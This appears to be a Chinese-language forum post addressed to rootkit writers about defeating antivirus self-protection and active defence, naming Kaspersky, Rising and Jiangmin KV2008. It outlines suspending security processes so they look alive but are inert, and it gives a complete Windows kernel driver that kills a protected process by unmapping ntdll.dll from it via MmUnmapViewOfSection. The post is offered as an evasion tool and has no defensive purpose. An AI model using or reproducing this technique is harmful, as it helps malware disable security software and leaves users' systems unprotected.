过去近两个月,终于写了第二篇思考。 相信做rootkit等一些反安全的朋友都对杀毒软件是仇视万分。看看bbs的帖子不少是朋友问的关于如何关闭卡巴、瑞新,如何过杀毒软件的主动防御。当然最近给不用说的就是kv2008,居然icesword也搞不定。下面我就对这些说说我做的工作。
首先说说过杀软的主动防御,相信很多朋友用的是ssdt 恢复,这种方法好不好先不说。来说说我的方法,我们不对他的ssdt hook做工作,让他死了不就行了么。呵呵,也许你会说这种方法不是更差了吗?我还说完,我说的死是一种假死,说的简单就是把他挂起来,让用户觉得他好像是活的,但他什么都做就跟死的一样。这样 别说是主动防御,就是连杀毒功能也把他搞掉了这不是更好吗?这种方法我做了很多测试,效果很好。
接着我们说说江民2008,江民2008可以说在自身保护工作上做足了工作,我在年前拿到的时候还只是简单的hook 了keInsertApc,这个搞定他很容易。在后来就连KeInsertQueueApc、KiInsertQueueApc等都hook了。我用的第一个方法就是自己实现了这些所有的函数。第二种方法就是通过卸载模块杀死进程,原理很简单,代码也很简单就不多说了,相信大家都能看得懂。
代码:
#include "ntddk.h" NTKERNELAPI NTSTATUS PsLookupProcessByProcessId ( IN ULONG UniqueProcessId, IN PEPROCESS *Process ); NTSTATUS MmUnmapViewOfSection( IN PEPROCESS Process, IN ULONG BaseAddress ); void KillProcess() { PEPROCESS process; PsLookupProcessByProcessId(2504,&process); MmUnmapViewOfSection(process,0x7c920000);//0x7c920000是ntdll.dll的基址 } VOID Unload(IN PDRIVER_OBJECT DriverObject) { } NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject , IN PUNICODE_STRING RegistryPath) { NTSTATUS ntStatus; KdPrint(("ok")); DriverObject->DriverUnload=Unload; KillProcess(); return STATUS_SUCCESS; }